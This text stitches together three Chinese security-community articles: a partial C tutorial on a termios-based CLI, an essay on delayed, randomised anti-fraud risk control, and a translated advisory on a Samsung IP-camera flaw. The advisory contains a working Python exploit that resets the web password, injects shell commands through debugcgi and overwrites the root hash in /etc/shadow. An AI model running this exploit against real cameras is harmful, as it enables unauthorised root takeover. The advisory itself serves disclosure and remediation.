(非`POSIX`,未在`Linux`上实现)如果还设置了`ICANON`，则终端仅是大写的。否则，输入将转换为小写，但以`\`开头的字符除外。在输出时，大写字符以`\`开头，小写字符转换为大写
[需要`_BSD_SOURCE`或`_SVID_SOURCE`或`_XOPEN_SOURCE`]
`ECHO` | 回显输入的字符
`ECHOE` | 如果还设置了`ICANON`，`ERASE`字符会擦除前面的输入字符，`WERASE`会擦除前面的单词
`ECHOK` | 如果还设置了`ICANON`，`KILL`字符将擦除当前行
`ECHONL` | 如果还设置了`ICANON`，即使未设置`ECHO`，也会回显`NL`字符
`ECHOCTL` |
(非`POSIX`)如果还设置了`ECHO`，除`TAB`、`NL`、`START`和`STOP`之外的终端特殊字符将作为`^X`回显，其中`X`是特殊字符的`ASCII`码值`+
0x40`的字符。例如，字符`0x08 (BS)`回显为`^H`[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`ECHOPRT` | (非`POSIX`)如果还设置了`ICANON`和`ECHO`，则在擦除字符时将其打印
[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`ECHOKE` |
(非`POSIX`)如果还设置了`ICANON`，则按照`ECHOE`和`ECHOPRT`的规定，通过擦除行上的每个字符来回显`KILL`[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`DEFECHO` | (非`POSIX`,未在`Linux`上实现)仅在进程读取时回显
`FLUSHO` | (非`POSIX`,未在`Linux`上实现)刷新输出流。通过键入`DISCARD`字符来切换此标志状态
[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`NOFLSH` | 在为`INT`、`QUIT`和`SUSP`字符生成信号时不再刷新输入和输出队列
`TOSTOP` | 将`SIGTTOU`信号发送到尝试写入其控制终端的后台进程的进程组
`PENDIN` |
(非`POSIX`,未在`Linux`上实现)在读取下一个字符时重新打印输入队列中的所有字符。(`bash(1)`以这种方式处理预输入)
[需要`_BSD_SOURCE`或`_SVID_SOURCE`]
`IEXTEN` |
启用实现定义的输入处理。必须启用此标志以及`ICANON`才能对特殊字符`EOL2`、`LNEXT`、`REPRINT`、`WERASE`进行解释，并使
IUCLC 标志有效
## 0x04 实现过程
### 最初的版本
那么，有了核心函数，接下来就可以着手编写我们的`CLI`了。首先，最直接的思路，我们既然希望控制用户输入的字符，那么我们可以捕获用户键入的每一个字符，将其获取至`CLI`，然后由`CLI`进行初步处理后打印。那么以上思路就要解决以下两个问题：
* 通常情况下，当用户敲击回车后所输入的内容才会被提交至程序内的内容接收函数中。那么如何逐字符获取呢？
* 用户输入内容时，默认是回显的，如何不回显呢？
那么注意到本地模式控制中的`ECHO`和`ICANON`配置项显然可以达成我们的要求，前者可以关闭用户输入的回显，后者则可以捕获即时敲击的内容。
于是很容易写出代码如下：
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main(){
FILE *in;
struct termios s, t;
int tty_changed;
char command[100000];
memset(command,0,100000);
char *commandPoint = command;
init();
in = stdin;
if(tcgetattr (fileno(in), &t) == 0)
{
s = t;
t.c_lflag &= ~(ECHO|ICANON);
tty_changed = (tcsetattr (fileno (in), TCSANOW, &t) == 0);
}
else
tty_changed = 0;
while (1)
{
printf("蓝晶@汪汪系统:~$ ");
char inputChar;
read(fileno(in),&inputChar,1);
while (inputChar)
{
if(inputChar == '\n'){
break;
}
*(commandPoint++) = inputChar;
write(1,&inputChar,1);
read(fileno(in),&inputChar,1);
}
printf("\n");
printf("%s\n",command);
memset(command,0,100000);
commandPoint = command;
}
if (tty_changed)
(void) tcsetattr (fileno (in), TCSANOW, &s);
return 0;
}
这里可以看到，我们为了最大程度的防止`stdin`文件流被破坏，我们选择与`getpass()`函数中一样，先使用`tcgetattr`读取`stdin`的配置，然后再进行`ECHO`、`ICANON`标志位的配置。随后我们定义了一个命令字符串用于存放用户输入的指令，同时定义了一个指针指向其开头，当获取到用户输入时，依次将其存入此数组，并在读取到回车(`\n`)后将其打印，随后将命令字符串清空，将指针置回字符串起始。当然在整个程序最后别忘了将终端的设置恢复，否则易导致终端异常的发生。
### 解决退格的版本(?)
不过我们测试其实可以发现，最初的版本中实际上是无法使用退格的，这是因为，在非标准输入模式下，我们需要对退格进行单独的处理，
**`BackSpace`对应的并不是`\b`**，查阅`ASCII`码表可以发现，`backspace`对应的是`127`，那么我们只要新增对`127`的处理即可。
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main(){
FILE *in;
struct termios s, t;
int tty_changed;
char command[100000];
memset(command,0,100000);
char *commandPoint = command;
init();
in = stdin;
if(tcgetattr (fileno(in), &t) == 0)
{
s = t;
t.c_lflag &= ~(ECHO|ICANON);
tty_changed = (tcsetattr (fileno (in), TCSANOW, &t) == 0);
}
else
tty_changed = 0;
while (1)
{
printf("蓝晶@汪汪系统:~$ ");
char inputChar;
read(fileno(in),&inputChar,1);
while (inputChar)
{
if(inputChar == '\n'){
break;
}else if(inputChar == 127){
if(strlen(command) > 0){
*(--commandPoint) = 0;
printf("\b \b");
}
}
*(commandPoint++) = inputChar;
write(1,&inputChar,1);
read(fileno(in),&inputChar,1);
}
printf("\n");
printf("%s\n",command);
memset(command,0,100000);
commandPoint = command;
}
if (tty_changed)
(void) tcsetattr (fileno (in), TCSANOW, &s);
return 0;
}
注意此处我们并不是简单的输出`\b`，而是需要输出`\b \b`因为
**`\b`的意义仅仅是将光标前移一位**。因此我们的处理逻辑是光标前移之后输出一个空格覆盖需要删除的内容，然后再退回输入点
### 解决退格的版本
根据上面的截图我们其实可以看出来事实上简单地进行退格信号处理是存在问题的，这不仅将导致指针越界，还会导致不应该被删除的内容被删除，因此我们需要对信号的处理加以限制。
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main(){
FILE *in;
struct termios s, t;
int tty_changed;
char command[100000];
memset(command,0,100000);
char *commandPoint = command;
init();
in = stdin;
if(tcgetattr (fileno(in), &t) == 0)
{
s = t;
t.c_lflag &= ~(ECHO|ICANON);
tty_changed = (tcsetattr (fileno (in), TCSANOW, &t) == 0);
}
else
tty_changed = 0;
while (1)
{
printf("蓝晶@汪汪系统:~$ ");
char inputChar;
read(fileno(in),&inputChar,1);
while (inputChar)
{
if(inputChar == '\n'){
break;
}else if(inputChar == 127){
if(strlen(command) > 0){
*(--commandPoint) = 0;
printf("\b \b");
}
}else{
*(commandPoint++) = inputChar;
write(1,&inputChar,1);
}
read(fileno(in),&inputChar,1);
}
printf("\n");
printf("%s\n",command);
memset(command,0,100000);
commandPoint = command;
}
if (tty_changed)
(void) tcsetattr (fileno (in), TCSANOW, &s);
return 0;
}
此时，我们退格将不会在产生超预期的行为
### 加一点细节的版本
最后~我们加亿点细节，得到最终代码：
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
#define WHITELISTCOMMANDNUM 4
static void call_fclose (void *arg)
{
if (arg != NULL)
fclose(arg);
}
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main(){
FILE *in, *out;
struct termios s, t;
int tty_changed;
char command[100000];
memset(command,0,100000);
char *commandPoint = command;
char *whitelist[WHITELISTCOMMANDNUM] = {"exit","ver","ping","pig"};
init();
in = stdin;
if(tcgetattr (fileno(in), &t) == 0)
{
s = t;
t.c_lflag &= ~(ECHO|ICANON);
tty_changed = (tcsetattr (fileno (in), TCSANOW, &t) == 0);
}
else
tty_changed = 0;
while (1)
{
printf("蓝晶@汪汪系统:~$ ");
printf("%s",command);
char inputChar;
read(fileno(in),&inputChar,1);
int commandStatus = 0;
char maybecommand[1000000];
int maybeCommandCount = 0;
memset(maybecommand,0,1000000);
while (inputChar)
{
if(inputChar == '\n'){
memset(maybecommand,0,1000000);
int maybecount = 0;
commandStatus = 0;
for(int whitelistidx = 0;whitelistidx < WHITELISTCOMMANDNUM;whitelistidx++){
if(strlen(command) == strlen(whitelist[whitelistidx]) && !strncmp(command,whitelist[whitelistidx],strlen(whitelist[whitelistidx]))){
commandStatus = 2;
break;
}else if(strstr(whitelist[whitelistidx],command) == whitelist[whitelistidx]){
commandStatus = 1;
maybeCommandCount++;
strcat(maybecommand,whitelist[whitelistidx]);
strcat(maybecommand,"\t");
}
}
if(commandStatus == 1 && maybeCommandCount == 1) {
memset(command,0,100000);
strncpy(command,maybecommand,strlen(maybecommand)-1);
printf("%s" , commandPoint);
commandStatus = 2;
}
if(commandStatus != 0) break;
}else if(inputChar == 127){
if(strlen(command) > 0){
*(--commandPoint) = 0;
printf("\b \b");
}
}else{
*(commandPoint++) = inputChar;
write(1,&inputChar,1);
}
read(fileno(in),&inputChar,1);
}
printf("\n");
if(commandStatus == 1){
printf("%s\n",maybecommand);
}else if(commandStatus == 2){
if(!strcmp(command,"ver")){
printf("自豪的由汪汪的小蓝蓝开发！是安全的兽人Shell！欢迎一起成为Furry！Version：0.1beta\n");
}else if(!strcmp(command,"exit")){
printf("Bye!\n");
break;
}else{
printf("%s\n",command);
}
memset(command,0,100000);
commandPoint = command;
}
}
if (tty_changed)
(void) tcsetattr (fileno (in), TCSANOW, &s);
return 0;
}
添加的细节代码均为基础的`C`语言基础机制代码，此处不再解释，请读者自行识读~
## 0x05 后记
后面我会出一些基于此`CLI`(当然不是`beta`版本的`CLI`嘿嘿嘿)的`CTF`题目，同时也会在`CLI`中加入用户管理、Tab补全、敏感字符控制、密码学等元素，创造一个与双边协议系列类似的系列题目~敬请期待~
大家有什么有趣的想法也欢迎来与我一起讨论~一起来当一个阴间题出题人吧~(不是)
加成券.jpg | 社区文章 |
# 引言
>
> 一般情况下，我们通过风控等系统识别到用户行为异常时往往会采用“加验”的手段去对抗，例如图灵测试、PoW、短信（语音）验证什么的。可实践中发现，这些对抗的方式会随着攻击者“破解”深入而逐步的失效，并迅速陷入道高一尺魔高一丈的套路。本文将从另一个角度去理解，如何在发现风险之后作出“假装不知道”的决定，从而避免出现这样的车轮战。
# 一、从反爬虫的投毒开始说起
一天，产品线的小伙伴匆匆跑过来找我：兄弟，我们的站点遇到一只疯掉的“爬虫”，机器都快被爬死了，帮忙处理一下……
很多小伙伴拍脑袋就想到弹验证码，或者直接上频控，用沙包一样的的字体或者鹤立鸡群的页面告诉触发“规则”的家伙：不好意思，此路不通。
（某次被爬虫突击访问造成的波峰）
于是，“攻击方”开始调试自己的爬虫，绞尽脑汁拟人、调整策略绕过频控，甚至考虑加载js引擎执行脚本。“防守方”被逼的用上图片显示关键信息、加入不可见字符等等前端黑魔法，甚至用上设备指纹、PoW等方式针锋相对。爬虫和反爬虫，成了相爱相杀的天平两端。
哇，我们本是同根生。程序员和程序员就应该好好相爱搞基，别老是磨刀霍霍，非得置对方于死地，多点真诚不好吗？既然爬虫的目的是获取数据，那就给他数据好不好——不过，不那么干净就是了。
设想一下，深夜里一只爬虫正辛勤地爬着梦寐以求的宝库，而他的主人也在美滋滋的扣着脚观赏青春期生理知识教育片，心里还说这个傻x网站一点反爬都没有简直是个垃圾。结果等到好几天后，到了真要用到数据的时候，发现爬到的数据里面真亦假来假亦真，虚虚实实无法分辨。然后因此错过关键时期被竞品干得边叫爸爸边哭，你要是他的老板泷泽萝拉你还笑得出来吗？！
（针对商品价格的投毒方式，思考一下为何要用crc32做发生源而不用随机数？）
俗话说，好人不长命，祸害遗千年。自古以来，天下武功，无所不破，唯骗不破。
# 二、阻断学习途径
让我们回到《三体》，之所以地球人可以牢牢驾驭住干尸三体人，还是多亏了罗辑鼠标，哦不对，是罗辑控制的“广播系统”。我看完《三体》后深深迷恋于这个“广播系统”不可自拔，一心想着什么时候我也能向全宇宙播出全国第八套广播体操，然后用这个威胁所有不给子女零花钱的80后父母。
三体人清楚地知道，一旦广播出了坐标将会让自己的母星彻底暴露在全宇宙面前，就如同全身赤裸跑到人民公园征婚——所有长处短处一览无疑。
三体人都知道的东西，我们各位在做业务安全的小伙伴也应该多多学习啊。发现风险怎么办，迅速处置？那我问问你，不论场景地迅速处置真的有必要吗？
（黑暗森林法则的变种版描述：谁先说话谁就输了）
以注册举例，很多人花了大价钱买到了手机号的风险库，想着这下可以来一个老子杀一个。一输入接码平台的手机号，系统巴不得跳出一个全屏窗口向全世界庄严宣告：哈哈哈哈我们知道你在用接码平台的手机号哦不给你注册我们是不是很牛逼啊来怼我呀~
历史的经验告诉我们，这么嘚瑟是不会有好下场的。
于是，羊毛党向卡商报告这手机号已被拉黑避免扣钱，卡商唰的一声换上了崭新的一坨新卡。Ok，这下你数据库中没有这个号了吧。而你，此时还沉浸在自己识别到了多么多么大量的羊毛注册请求中沾沾自喜，却忽略了这个“看不见”的风险。这个过程中，卖威胁情报的挣了钱、接码平台挣了钱、卡商挣了钱、运营商挣了钱、羊毛党也挣了钱，那谁亏了钱？你说是谁？
同志们，我不禁要问，为什么要这么嘴欠？！我们平常很多风控策略，像什么图灵测试，什么挑战加验，什么直接阻断，这不正给了羊毛党一个很好的调试接口吗？
（接码平台通常都提供标记特定手机号在某一项目中不可用的功能，一键GG）
我们之所以不会蠢到把手伸进熊熊燃烧的火焰中，往往是因为在此前人生中的某一时刻曾经这么干过，并且收获了满满的痛楚。从此，我们从反馈中立即学到了一个知识——傻子才把手直接伸进火里。
事实上，对于每一个学习过程，都有：
目标设定 过程探索 奖励反馈 完成学习
如果丧失了奖励回馈环节，整个学习过程无法持续。就如同你想让狗狗训练成听到你叫它名字后马上坐下，但你既不在它做对的时候给它东西吃（正反馈），又不在它做错的时候揍它（负反馈），很难想象它能乖乖达到你期望的状态。
（一个大致的学习过程，其中奖励反馈是最重要的环节之一）
在鱼儿刚刚咬钩的时候就迫不及待地拉起鱼竿，这样的“果断处置”，除了能够迅速替“攻击者”完成奖励反馈的重要环节外，并不能为我们自己带来很好的收益。正如人们不能直接观测黑洞一样，沉默是对想了解你的对手最有效的武器。停止反馈，阻断学习途径，是对抗对手的第一步。
# 三、理清业务链，风控决断后移
尽管拒绝反馈能够很好阻断羊毛党的学习过程，但很多场景下我们不能完全不给用户反馈，不然这属于杀敌一百自损一万的“绝技”。还以注册为例，我们好歹好告诉用户注册成不成对吧？
这时候，我们应该考虑“决断后移”。不过，在讨论决断后移前，我们先要理清一个关键的链路——业务链。
注意，这里指的业务链不是一个具体的A页面到B页面这个Action Chains（关于Action
Chains可以另写一篇文章来研究），而是一个业务流程从用户发起到结束交付所经历的全部逻辑过程。以购买商品为例，这里的业务链可以是：
_用户注册/登录 -- > 搜索商品（可选） --> 选购商品 --> 咨询商品（可选） --> 填写订单 --> 提交订单 --> 支付 -->
配货（可选） --> 发货 --> 配送交付 --> 售后（可选）。_
整个业务链有两个关键节点，一个是发货，一个是配送交付。
对于公司来说，发货环节执行后，货物很大程度上会脱离控制，而且大量成本会在这时候产生（包括库存成本、配送费等），所以这是一个关键的业务节点。
对于消费者来说，配送交付环节执行后，消费者才能真正收到货物，完成整个订单期望要做的事情，这样往往代表着整个业务链路的结束。
以前的风控策略会怎么设置呢？
我在登录注册拦你一道，不通过不让下一步。
还不放心，那在搜索、选购商品的时候再拦你一道，机器人占库存都给你毙了。
填完订单之后，琢磨着又可以拦你一道，同一收货人或收货地址有问题的，也给你拒了。
付钱的时候给你拦最后一道，黑卡、黑户等等支付出风险的，到此为止。
最后所有风控策略已Pass，还等啥，发货呀。
看起来这个策略棒棒哒。我问你啊，一串4个英文字符的密码，你最多要猜几次才能猜对？区分大小写的情况下需要52的4次方约是700万次。那如果你每次猜1个字母，我就告诉你这个字母猜的对不对，那你要猜几次？52*4
= 208次，根本就不值一提啊。
（以扫雷为例，玩家不可能直接标记出所有地雷的位置，必须要通过局部的、小规模的不断测试来完成游戏）
好吧，我们经过自己优秀的风控策略，把羊毛党面临的指数阶的问题复杂度，通过分治算法给“优化”到了线性复杂度。不止数据结构课程的老师会感谢你啊，羊毛党们开着奔驰路虎在大别野里也感谢你好不好。
从企业自身角度看，业务链只有进行到关键逻辑节点的时候才会产生大量的成本，所以我们完全可以通过将风控决断移动到关键节点上，而暂时承受前面环节带来的“风险”。譬如，我们把上面的风控策略改成：
在登录注册发现有问题的，打一个恶意注册/登录的标签就放行。
在搜索、选购商品的时候发现是机器人的，也打一个机器人的标签放行。
填完订单之后，对订单信息有问题的，再打一个异常订单的标签放行。
付钱的时候，什么支付风险啊，先扣了钱再说并赠送一个支付异常标签后放行。
最后对于有异常标签的订单，除非有什么985、211限时达什么的，不然先一本正经告诉你在配货，完了2天之后告诉你发货失败，订单有风险已被取消。
羊毛党看了就想哭，就很气。
搞了2天，82年的茅台都开瓶了，别野大平层首付都付了，你告诉我订单取消？而且我前面明明已经做得很好了，你既没有警告也不报错，现在我裤子都脱了你给我取消了？
（对于黑盒的系统，只能通过反复调整输入观察输出才能很有限地“大致”知道盒子的功能是啥）
我们发现，整个流程下来羊毛党无法精确的确定之前到底哪个或哪几个环节出了问题。既然没有办法确定出问题的具体环节，那就有可能每个环节都有问题。所以，这样的风控策略极大增加了羊毛党的“作案”成本：一方面消耗了大量的时间，另一方面也消耗了大量的精力。
风控决断节点的后移，除了给我们带来一些流量、计算成本外，并没有付出很高的代价。相反，我们如此一来便可以站在更完整的角度观察一个羊毛党的所有行为轨迹，从中抽象出之前没有发现的特征或特点，不断的修正自己的模型。我们不让别人学习，可从没说过不让自己学习哦。毕竟，学习才能成为更好的自己嘛。
我把这样在业务链中关键节点才作出决断的风控策略称为非即时反馈策略，它是对抗对手的第二步。
# 四、添加随机噪声
只应用非即时反馈策略是不够的，因为理论上我们还是没有斩断反馈链路。所以实际中羊毛党会尽可能去尝试发现识别他们的方式，甚至会在一些群里分享“绕过某某风控”的经验。最终，通过“多线程”或控制变量的实验方式，还是能把问题复杂度进一步降低。
这难道是说我们前面写得辣么多的东西都是废话咯？嘿嘿嘿，知道什么叫“风控策略测不准原则”么？不知道不要紧，我们可以创立这个“风控策略测不准原则”。
_我们期望，对于任意的风控策略，即使同时满足“所有特征和所有依据特征计算的策略规则已被知晓”的情况下，其输出结果是确定的，但无法预测。_
理论上这个原则是不成立的，原因是其违反了算法的确定性。即对于算法，如果确定输入，有且仅有一确定的输出。
那怎么办？改前提条件吧：
_对于任意的风控策略，即使同时满足“所有【用户可控】特征和所有依据【用户可控】特征计算的策略规则已被知晓”的情况下，其输出结果是确定的，但无法预测。_
我们通过给风控策略增加一个脱离用户状态的“自变量”来增加整体策略的不确定性。在通常实践中，这个“自变量”为随机数。
回到上一节提到的业务链，我们在此前非即时反馈的风控策略中增加最后一项：
初始化一个[0,99]随机整数，当随机数<=0时，无论此前是否有标签，该商品订单依然取消；当随机数>=99时，无论此前是否有标签，该商品强制发货。
简而言之，1%的概率使得所有风控策略直接失效，1%使得当前订单强制失效。
当然了，上面的策略比较粗暴，实际中可以结合其他用户状态，比如商品价格、用户活跃的时间、用户风险评分等综合设置阈值。
对于羊毛党来说，他会发现同样的薅羊毛策略有的会过，有的不会过。那么，他就不能确定他的薅羊毛策略调整是真的有效，还是单纯的看脸。整个风控系统变得如同女朋友的心一样难以琢磨——你究竟是爱我呢，还是不爱我了？
（薛定谔的女神：你猜我到底爱不爱你）
我们还可以举出很多类似的例子，例如在一些领券的活动中，绝对不要弹出“谢谢参与”这样让人忧伤的选项。大可以设置一些“玛莎拉蒂100元优惠券”、“满1001-1元”等兜底奖项来缓解这种尴尬，并机智的应用随机噪音干扰薅羊毛的视线。像某动物形象电商的砍价活动就做的十分讨巧（欠揍），你的每次点击价格可能会降，当然也有可能帮倒忙给加了回去，这TM怎么薅？
上帝是爱掷骰子的，我们的世界中或者人类自己本身就充满了大量的随机性，为何非要用正则化的思维来训练一个和人对抗的系统呢？
添加随机噪声的过程则干扰了大量正则化的判断，使得羊毛党需要排除的问题节点组合以指数阶的方式增加，在薅羊毛的路途上设下了不少障碍，对抗对手的最后一步就从这里开始。
# 五、局限
需要深知，这个方法是有局限的。
显然，它只能应用在一个较长的业务链中。如果业务链极短，比如点击投票、搜索查词等，没有可供施展的空间。
而且，它因为非即时反馈的特性，无法在某些即时业务中应用。类似于用户在发起转账、发起信贷等“无法撤回”的动作时，我们总不能先告诉用户申请信贷成功，然后用户消费完了再说不好意思，我要撤回授信。
另外，它依赖于信息传递高度统一。我们把决断后移到了关键业务节点，如果在业务流程十分复杂，系统架构、开发环境混乱，则容易因为信息同步的不一致性造成“口子”开放，也就是风控系统的疏漏。
个人认为，风控系统牛逼程度不完全依赖于技术水平的高低，更多的是对业务的完整理解，和对用户（人性）的正确把握。因为你的对手不是机器，而是人。
一点愚见，还请各路大侠好汉多多海涵。 | 社区文章 |
# 三星智能监控摄像头被爆远程代码执行漏洞（含POC）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞概况**
EDB-ID:40235
漏洞发现者：PentestPartners
CVE：暂无
发布日期：2016年08月14日
漏洞类型：远程漏洞
受影响平台：系统硬件
受影响App：暂无
漏洞利用POC：[点击下载](https://www.exploit-db.com/download/40235)
**前言**
目前，绝大多数安全研究专家在对物联网设备进行漏洞研究时，都将研究重点集中在了如何利用这些漏洞来展开网络攻击。很少有人知道如何去修复这些安全问题，而且也几乎没人关心如何才能防止这些设备继续遭受攻击。为此，我们专门对一款IP监控摄像头进行了分析，并发现了很多小问题。而将这些安全问题联系在一起，我们就能够获取到目标设备的root访问权限了。虽说它们都是一些小问题，但是修复起来却非常的困难。所以我们认为应该专门写一篇关于如何发现并修复物联网设备漏洞的文章。
我们的研究对象是三星的一款室内IP监控摄像头－[SNH-6410BN](https://www.amazon.co.uk/dp/B00MQS0FZY/ref=pd_lpo_sbs_dp_ss_1?pf_rd_p=569136327&pf_rd_s=lpo-top-stripe&pf_rd_t=201&pf_rd_i=B00J38NVHE&pf_rd_m=A3P5ROKL5A1OLE&pf_rd_r=2AXRQSAPF7Z6CTHDX0FE)。如果单纯从质量和功能性的角度来考察，那么这款摄像头没有任何的问题，因为它的拍摄清晰度非常高，而且三星还为其配备了非常优秀的应用软件。但是，它是一款IP摄像头，所以网络安全的问题就成为了它的一块短版。
通常情况下，用户会使用移动端应用程序或者网站提供的“云服务”来远程访问摄像头。但是这款摄像头使用的仍是SSH，而且还有专门与之对应的Web服务器。这就是我们测试的切入点。因为Web服务器只支持HTTP协议，而不支持使用HTTPS协议。
**
**
**漏洞利用代码**
# E-DB Note: source ~ https://www.pentestpartners.com/blog/samsungs-smart-camera-a-tale-of-iot-network-security/
import urllib, urllib2, crypt, time
# New password for web interface
web_password = 'admin'
# New password for root
root_password = 'root'
# IP of the camera
ip = '192.168.12.61'
# These are all for the Smartthings bundled camera
realm = 'iPolis'
web_username = 'admin'
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'
# Take a command and use command injection to run it on the device
def run_command(command):
# Convert a normal command into one using bash brace expansion
# Can't send spaces to debugcgi as it doesn't unescape
command_brace = '{' + ','.join(command.split(' ')) + '}'
command_url = base_url + command_brace
# HTTP digest auth for urllib2
authhandler = urllib2.HTTPDigestAuthHandler()
authhandler.add_password(realm, command_url, web_username, web_password)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
return urllib2.urlopen(command_url)
# Step 1 - change the web password using the unauthed vuln found by zenofex
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)
# Need to sleep or the password isn't changed
time.sleep(1)
# Step 2 - find the current root password hash
shadow = run_command('cat /etc/shadow')
for line in shadow:
if line.startswith('root:'):
current_hash = line.split(':')[1]
# Crypt the new password
new_hash = crypt.crypt(root_password, '00')
# Step 3 - Use sed to search and replace the old for new hash in the passwd
# This is done because the command injection doesn't allow a lot of different URL encoded chars
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')
# Step 4 - check that the password has changed
shadow = run_command('cat /etc/shadow')
for line in shadow:
if line.startswith('root:'):
current_hash = line.split(':')[1]
if current_hash <> new_hash:
print 'Error! - password not changed'
# Step 5 - ssh to port 1022 with new root password!
**问题一**
问题描述：用户在访问设备时，网络通信数据并没有进行传输加密处理，所以用户的凭证和数据在传输的过程中，安全性无法得到任何保障，攻击者可以随意拦截并篡改用户数据。
解决方案：在信息传输的过程中，尽可能地使用安全协议，并为每一台设备分配随机密钥。
Web接口只使用了一个“私人密钥”来提供基本的安全保障。这个“私人密钥”只是一个密码口令，缺少与之对应的用户名。
**问题二**
问题描述：由于只提供了一个用于访问Web服务的用户账号，这也就意味着攻击者一旦破解了这一账号，他就能够获取到用户功能的完整控制权。
解决方案：为设备部署细粒度的访问控制机制，对用户权限进行划分。这样一来，即便一个普通的账号被攻击了，也不会导致设备彻底被攻击者控制。
当用户首次连接设备时，用户需要设置一个密码。虽然Web接口提供了这一功能，但是产品说明中并没有提及到，所以用户基本上都会直接忽略这一步操作。
**问题三**
问题描述：如果用户没有意识到产品提供了相应的Web接口，那么攻击者就可以连接设备，并设置访问密码，然后得到设备的完整控制权。
解决方案：禁用那些平时不会用到的功能，但是当用户需要开启某些很少使用的功能时，可以很方便地开启。
在2014年，[Exploitee.rs](https://www.exploitee.rs/index.php/Main_Page)的Zenofex（@[Zenofex](https://twitter.com/zenofex)）在三星的另一款摄像头产品中发现了一种能够重置“私人密钥”的方法。尽管他已经将该问题报告给了三星公司，但是这一新款的摄像头产品中仍然存在相同的漏洞。
这个漏洞存在于/classes/admin_set_privatekey.php文件之中。这段代码可以为用户设置新的“私钥”，但是代码并不会检测系统此前是否已经设置过“私钥”了。所以攻击者就可以随意修改目标设备的“私钥”。
下面这部分PHP代码段即为系统用于设置“私钥”的初始代码：
对比下面这段系统用于修改“私钥”的代码段，其中的检测代码在下图中用红色的字体标出：
因此，我们只需要向IP摄像头发送一个简单的请求，就可以重置其访问私钥了：
这样一来，我们就可以跟普通用户一样去访问设备的Web接口了。但是这只是我们的第一步，我们的最终目标是得到root shell。
**问题四**
问题描述：未经身份验证的攻击者可以重置摄像头，并获取到摄像头的控制权。
解决方案：确保摄像头的重要功能都有相应的授权控制来进行保护，而且授权控制机制中不存在逻辑错误等问题。
除了之前的问题之外，Exploitee.rs的Zenofex还在Web接口中的一个表单中（WEP密钥域）发现了一个命令注入漏洞。奇怪的是，新款的摄像头中并不存在这个问题（但是密码重置漏洞仍然存在）。为什么三星只修复了其中的一个漏洞，而另一个漏洞却没人管呢？
这个问题暂且不讨论，我们现在要做的就是想办法黑入摄像头。我们可以采用黑盒测试的方法来对摄像头进行分析，而这种方法也是我们在处理大多数web应用程序时所采用的方法。
现在，我们已经占据了上风－因为我们不仅可以查看摄像头的系统固件，而且还可以分析其内部文件了。
我们可以从三星的官方网站中下载系统固件（tgz文件），解压之后我们会得到如下图所示的文件：
**问题五**
问题描述：固件没有受到任何安全机制的保护，文件也没有进行加密处理，所以我们可以直接对其进行逆向分析。
解决方案：采取数据加密等手段来保护系统固件，以防止攻击者对固件代码进行逆向分析。
首先，我们对ramdisk（虚拟磁盘）文件进行分析－从文件的后缀名来看，这是一个gzip压缩文件。
这是一个ext2文件系统。所以我们可以直接挂载该文件：
我们似乎已经得到了root文件系统中的内容。接下来让我们看一看，root用户是否已经被启用：
**问题六**
问题描述：固件只开启了一个系统用户－即“root”。如果攻击者成功获取到了系统用户的凭证，那么他也就获取到了设备的root访问权限。
解决方案：遵循最小特权的原则，对于那些支持外部服务的用户账号，设备要对这些账号的访问权限进行限制。除非有需要，否则不允许这些账号只使用密码来登录设备。
系统在对密码进行哈希处理时所采用的[哈希算法](https://en.wikipedia.org/wiki/Crypt_\(C\)#Traditional_DES-based_scheme)其安全性较弱，它最多只支持使用8个字符，这也就使得暴力破解等攻击变得非常的容易。
**问题七**
问题描述：由于系统所选择的哈希算法安全性较弱，这也就意味着系统使用的是弱密码。所以攻击者可以通过其它方式来获取到所有安装了这一固件的摄像头root访问密码。
解决方案：使用md5或者sha512哈希算法来从一定程度上增加暴力破解所需的时间。
既然我们已经可以访问固件的文件系统了，那么我们就可以尝试找出负责处理用户输入数据的部分。对于嵌入式系统而言，如果没有对用户的输入数据进行控制和检测，那么用户的输入信息将会成为一个巨大的安全隐患。
**总结**
三星公司对于这一问题的响应和处理还是相当不错的。他们非常清楚地了解我们所说的安全问题，并且已经在下一版本的固件程序中修复了这些安全漏洞。除此之外，Web接口和SSH也已经被禁用了。
虽然他们花了不少时间来处理这个问题，但至少他们给我们提供了反馈信息。现在很多大型的物联网厂商并不会对第三方安全机构所提交的安全报告予以反馈，所以我们在此要表扬一下三星公司。
表扬归表扬，但是这些安全问题并没有全部得到解决。如果想要彻底修复这个远程代码执行漏洞的话，三星只需要彻底移除设备的Web访问接口即可。
**
**
**参考链接**
1.SNH-6410BN摄像头－亚马逊商城：
[https://www.amazon.co.uk/dp/B00MQS0FZY/ref=pd_lpo_sbs_dp_ss_1?pf_rd_p=569136327&pf_rd_s=lpo-top-stripe&pf_rd_t=201&pf_rd_i=B00J38NVHE&pf_rd_m=A3P5ROKL5A1OLE&pf_rd_r=2AXRQSAPF7Z6CTHDX0FE](https://www.amazon.co.uk/dp/B00MQS0FZY/ref=pd_lpo_sbs_dp_ss_1?pf_rd_p=569136327&pf_rd_s=lpo-top-stripe&pf_rd_t=201&pf_rd_i=B00J38NVHE&pf_rd_m=A3P5ROKL5A1OLE&pf_rd_r=2AXRQSAPF7Z6CTHDX0FE)
2.三星SmartCam官方网站：
[https://www.samsungsmartcam.com/web/cmm/login.do](https://www.samsungsmartcam.com/web/cmm/login.do)
3\. 三星SmartCam远程控制App：
